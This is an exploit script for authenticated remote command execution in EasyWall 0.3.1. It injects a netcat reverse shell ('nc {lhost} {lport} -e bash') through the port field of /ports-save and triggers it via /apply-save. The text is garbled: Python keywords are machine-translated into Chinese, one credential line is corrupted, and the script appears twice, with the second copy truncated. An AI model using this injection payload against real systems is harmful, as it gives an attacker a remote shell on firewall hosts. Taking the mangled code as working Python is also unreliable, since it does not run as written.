#利用title: EasyWall 0.3.1-验证远程命令执行
#日期: 30-11-2023
#利用作者: Melvin Mejia
#供应商HomePage3360 https://jpylypiw.github.io/easywall/
#软件link: https://github.com/jpylypiw/easywall
#版本: 0.3.1
#测试在: Ubuntu 22.04
导入请求,JSON,URLLIB3
urllib3.disable_warnings()
def exploit():
#在此处需要替换值
target_host='192.168.1.25'
target_port='12227'
lhost='192.168.1.10'
lport='9001'
用户='admin'
密码='管理员'
target=f'https://{target_host} : {target_port}'
#对应用程序的身份验证
打印('[+]尝试使用提供的凭据.')
login_data={'用户名':user,'password'
assword}
session=requests.session()
TRY:
login=session.post(f'{target}/login',data=login_data,verify=false)
除异常外,例如EX:
print('[!]连接到应用程序的问题,error:',ex)
出口(1)
如果login.status_code!=200:
打印('[!]登录失败。')
出口(1)
其他:
打印('[+]登录成功。')
#发送有效载荷,端口参数遭受命令注射漏洞
打印('[+]试图发送有效载荷。')
rev_shell=f'/usr/bin/nc {lhost} {lport} -e bash#'
data={'port':f'123; {rev_shell}','description':'','tcpudp':'tcp'}
send_payload=session.post(f'{target}/ports-save',data=data,verify=false)
如果send_payload.status_code!=200:
打印('[!]未能发送有效载荷。')
出口(1)
其他:
打印('[+]有效载荷已发送。')
#触发有效载荷执行
打印('[+]尝试执行。')
data={'step_1':'','step_2':'}
execute=session.post(f'{target}/apply-save',data=data,verify=false)
如果execute.status_code!=200:
打印('[!]尝试执行失败。')
出口(1)
其他:
打印(f'[+]执行成功,您应该在{lhost} : {lport}的情况下得到一个外壳。')
开发()
#日期: 30-11-2023
#利用作者: Melvin Mejia
#供应商HomePage3360 https://jpylypiw.github.io/easywall/
#软件link: https://github.com/jpylypiw/easywall
#版本: 0.3.1
#测试在: Ubuntu 22.04
导入请求,JSON,URLLIB3
urllib3.disable_warnings()
def exploit():
#在此处需要替换值
target_host='192.168.1.25'
target_port='12227'
lhost='192.168.1.10'
lport='9001'
用户='admin'
密码='管理员'
target=f'https://{target_host} : {target_port}'
#对应用程序的身份验证
打印('[+]尝试使用提供的凭据.')
login_data={'用户名':user,'password'

session=requests.session()
TRY:
login=session.post(f'{target}/login',data=login_data,verify=false)
除异常外,例如EX:
print('[!]连接到应用程序的问题,error:',ex)
出口(1)
如果login.status_code!=200:
打印('[!]登录失败。')
出口(1)
其他:
打印('[+]登录成功。')
#发送有效载荷,端口参数遭受命令注射漏洞
打印('[+]试图发送有效载荷。')
rev_shell=f'/usr/bin/nc {lhost} {lport} -e bash#'
data={'port':f'123; {rev_shell}','description':'','tcpudp':'tcp'}
send_payload=session.post(f'{target}/ports-save',data=data,verify=false)
如果send_payload.status_code!=200:
打印('[!]未能发送有效载荷。')
出口(1)
其他:
打印('[+]有效载荷已发送。')
#触发有效载荷执行
打印('[+]尝试执行。')
data={'step_1':'','step_2':'}
execute=session.post(f'{target}/apply-save',data=data,verify=false)
如果execute.status_code!=200:
打印('[!]尝试执行失败。')
出口(1)
其他:
打印(f'[+]执行成功,您应该在{lhost} : {lport}的情况下得到一个外壳。')
开发()